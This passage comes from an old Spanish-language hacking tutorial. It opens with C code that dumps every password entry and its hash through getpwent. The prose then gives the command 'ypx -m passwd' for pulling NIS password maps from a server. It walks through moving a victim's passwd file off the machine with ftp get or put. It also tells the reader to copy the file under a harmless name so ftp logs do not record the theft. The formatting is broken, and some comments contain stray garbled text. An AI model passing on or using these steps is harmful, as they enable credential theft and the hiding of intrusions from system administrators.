/*
* Shadow password file pwd->pw_gecos field contains:
*
*
<type>,<period>,<last_time>,<old_time>,<old_password>
*
* <type> = Type of password criteria to enforce (type int).
* BSD_CRIT (0), normal BSD.
* STR_CRIT (1), strong passwords.
* <period> = Password aging period (type long).
* 0, no aging.
* else, number of seconds in aging period.
* <last_time> = Time (seconds from epoch) of the last password
* change (type long).
* 0, never changed.n
* <old_time> = Time (seconds from epoch) that the current password
* was made the <old_password> (type long).
* 0, never changed.ewromsinm
* <old_password> = Password (encrypted) saved for an aging <period>
to
* prevent reuse during that period (type char [20]).
* "*******", no <old_password>.
*/
/*
number of tries to change an aged password */
#define
CHANGE_TRIES 3
/*
program to execute to change passwords */
#define
PASSWD_PROG "/bin/passwd"
/*
Name of the password aging exempt user names and max number of entires */
#define
EXEMPTPW "/etc/exemptpw"
#define
MAX_EXEMPT 100
/*
Password criteria to enforce */
#define
BSD_CRIT 0 /* Normal BSD password criteria */
#define
STR_CRIT 1 /* Strong password criteria */
#define
MAX_CRIT 1
#endif
elxsi
#define
NULL 0
main()
{
struct
passwd *p;
int
i;
for
(;1;) {;
p=getpwent();
if (p==NULL) return;
printpw(p);
}
}
printpw(a)
struct
SHADOWPW *a;
{
printf("%s:%s:%d:%d:%s:%s:%s\n",
a->pw_name,a->pw_passwd,a->pw_uid,a->pw_gid,
a->pw_gecos,a->pw_dir,a->pw_shell);
}
/* SunOS 5.0 /etc/shadow */
/*
SunOS4.1+c2 /etc/security/passwd.adjunct */
------------------------------------------CUT
HERE-------------------------------------------------
Ademas existe un programa llamado YPX que sirve para
extraer estos mapas (incluido el archivo passwd, donde estan incluidos todos las
passwords de los usuarios) de un servidor de NIS aunque la maquina en la que
estemos no sea una maquina cliente. Para conseguirlo buscalo en la red en
cualquier buscador o posiblemente este en el web de donde te bajes este texto
:o). Hay otros programas de ese estilo como ypsnarf, etc.
Su uso es muy sencillo ya que solo tienes que hacer:
ypx -m passwd nombre_dominio_nis
Ademas, tened en cuenta las importantes ventajas que tiene
el tener una cuenta en un sistema con nis.. creo que no hace falta que te lo
explique tras el rollo que ya he contado no?.. si alguno no lo tiene claro que
se relea el texto jeje.
6.3.- DISTINTOS METODOS PARA BAJAROS EL archivo DE PASSWD
UNA VEZ LO TIENES BAJO CONTROL
Una vez tenemos el archivo de passwd en un archivo mas o
menos bajo nuestro control, es decir que ya hemos pillado el shadow o tenemos
acceso directamente al passwd, hemos de bajar esa informacion a nuestra maquina.
Hay varios sistemas:
1.- Usar el ftp, corriendo el ftp en la maquina delante de
la que tu estas sentado y usar el get para pillar el archivo de passwd. Este
sera el metodo usual pero en algunos casos esto no sera posible debido a algun
metodo de seguridad. Una variante de esto es configurar en tu maquina el ftp y
usar el ftp desde la maquina victima y hacer un put (para subir el archivo) a tu
maquina desde la maquina victima. Tambien tenes que tener en cuenta que el ftp
tiene un archivo de logs adicional por lo que tendras que tenerlo en cuenta. Un
consejo para este caso puede ser hacer un cat passwd > cualquiera y luego
bajar el archivo “cualquiera” y asi en los logs no queda registrado que te
bajaste el archico passwd.